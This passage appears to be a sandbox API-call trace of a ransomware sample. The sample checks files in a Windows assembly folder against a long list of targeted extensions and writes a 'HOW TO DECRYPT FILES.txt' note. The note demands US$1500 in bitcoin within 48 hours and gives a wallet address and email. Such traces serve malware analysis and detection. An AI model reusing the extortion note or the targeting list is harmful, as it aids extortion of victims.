(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0111.294] lstrlenA (lpString="*.docx") returned 6 [0111.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0111.294] lstrlenA (lpString="*.7z") returned 4 [0111.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0111.294] lstrlenA (lpString="*.tar") returned 5 [0111.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0111.294] lstrlenA (lpString="*.bz2") returned 5 [0111.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0111.294] lstrlenA (lpString="*.gz") returned 4 [0111.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0111.294] lstrlenA (lpString="*.mkv") returned 5 [0111.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0111.294] lstrlenA (lpString="*.eml") returned 5 [0111.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0111.294] lstrlenA (lpString="*.msg") returned 5 [0111.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0111.294] lstrlenA (lpString="*.edb") returned 5 [0111.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0111.294] lstrlenA (lpString="*.accdb") returned 7 [0111.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0111.295] lstrlenA (lpString="*.odb") returned 5 [0111.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.java") returned 0 [0111.295] lstrlenA (lpString="*.java") returned 6 [0111.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0111.295] lstrlenA (lpString="*.asm") returned 5 [0111.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0111.295] lstrlenA (lpString="*.pfx") returned 5 [0111.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0111.295] lstrlenA (lpString="*.pem") returned 5 [0111.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0111.295] lstrlenA (lpString="*.p12") returned 5 [0111.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0111.295] lstrlenA (lpString="*.gpg") returned 5 [0111.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0111.295] lstrlenA (lpString="*.vsd") returned 5 [0111.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0111.295] lstrlenA (lpString="*.odg") returned 5 [0111.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0111.295] lstrlenA (lpString="*.raw") returned 5 [0111.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0111.296] lstrlenA (lpString="*.nef") returned 5 [0111.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0111.296] lstrlenA (lpString="*.svg") returned 5 [0111.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0111.296] lstrlenA (lpString="*.psd") returned 5 [0111.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0111.296] lstrlenA (lpString="*.vmx") returned 5 [0111.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0111.296] lstrlenA (lpString="*.vmdk") returned 6 [0111.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0111.296] lstrlenA (lpString="*.vdi") returned 5 [0111.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0111.296] lstrlenA (lpString="*.lay6") returned 6 [0111.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0111.296] lstrlenA (lpString="*.mpeg") returned 6 [0111.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0111.296] lstrlenA (lpString="*.djvu") returned 6 [0111.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0111.296] lstrlenA (lpString="*.tiff") returned 6 [0111.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0111.297] lstrlenA (lpString="*.backup") returned 8 [0111.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0111.297] lstrlenA (lpString="*.pdf") returned 5 [0111.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0111.297] lstrlenA (lpString="*.cert") returned 6 [0111.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0111.297] lstrlenA (lpString="*.docm") returned 6 [0111.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0111.297] lstrlenA (lpString="*.xlsm") returned 6 [0111.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0111.297] lstrlenA (lpString="*.dwg") returned 5 [0111.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0111.297] lstrlenA (lpString="*.nd") returned 4 [0111.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0111.297] lstrlenA (lpString="*.tlg") returned 5 [0111.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0111.297] lstrlenA (lpString="*.lgb") returned 5 [0111.297] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0111.298] lstrlenA (lpString="*.mov") returned 5 [0111.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0111.298] lstrlenA (lpString="*.xdw") returned 5 [0111.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0111.298] lstrlenA (lpString="*.ods") returned 5 [0111.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0111.298] lstrlenA (lpString="*.wav") returned 5 [0111.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0111.298] lstrlenA (lpString="*.mp3") returned 5 [0111.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0111.298] lstrlenA (lpString="*.aiff") returned 6 [0111.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0111.298] lstrlenA (lpString="*.flac") returned 6 [0111.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0111.298] lstrlenA (lpString="*.m4a") returned 5 [0111.298] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\dbe51d156773fefd09c7a52feeb8ff79\\Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0111.298] lstrlenA (lpString="*.csv") returned 5 [0111.298] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37586970, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37586970, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37586970, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x4aa00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.298] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.299] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d8b540, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60d8b540, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60d8b540, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="e6d7c16069b54ab5e0dba436a9eb0e01", cAlternateFileName="E6D7C1~1")) returned 1 [0111.299] lstrcmpA (lpString1=".", lpString2="e6d7c16069b54ab5e0dba436a9eb0e01") returned -1 [0111.299] lstrcmpA (lpString1="..", lpString2="e6d7c16069b54ab5e0dba436a9eb0e01") returned -1 [0111.299] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0111.299] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="e6d7c16069b54ab5e0dba436a9eb0e01" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01" [0111.299] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01") returned 100 [0111.299] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d8b540, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60d8b540, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60d8b540, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.299] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.299] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60d8b540, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60d8b540, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60d8b540, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.299] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.299] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.300] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60c80ba0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x60c80ba0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x60c80ba0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.300] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.302] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll") returned -1 [0111.302] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll") returned -1 [0111.302] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll") returned -1 [0111.302] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\*.*") returned="*.*" [0111.302] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\" [0111.302] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\") returned="" [0111.302] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\HOW TO DECRYPT FILES.txt" [0111.302] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\how to decrypt files.txt")) returned 0xffffffff [0111.303] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.311] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0111.311] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.312] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.313] CloseHandle (hObject=0x90) returned 1 [0111.313] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll" [0111.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0111.313] lstrlenA (lpString="*.ems") returned 5 [0111.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.db") returned 0 [0111.313] lstrlenA (lpString="*.db") returned 4 [0111.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0111.313] lstrlenA (lpString="*.dbf") returned 5 [0111.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0111.313] lstrlenA (lpString="*.myox") returned 6 [0111.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0111.313] lstrlenA (lpString="*.myo") returned 5 [0111.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0111.313] lstrlenA (lpString="*.qbw") returned 5 [0111.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0111.313] lstrlenA (lpString="*.qbb") returned 5 [0111.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0111.313] lstrlenA (lpString="*.qbm") returned 5 [0111.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\e6d7c16069b54ab5e0dba436a9eb0e01\\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0111.313] lstrlenA (lpString="*.qbo") returned 5 [0111.314] PathMatchSpecA 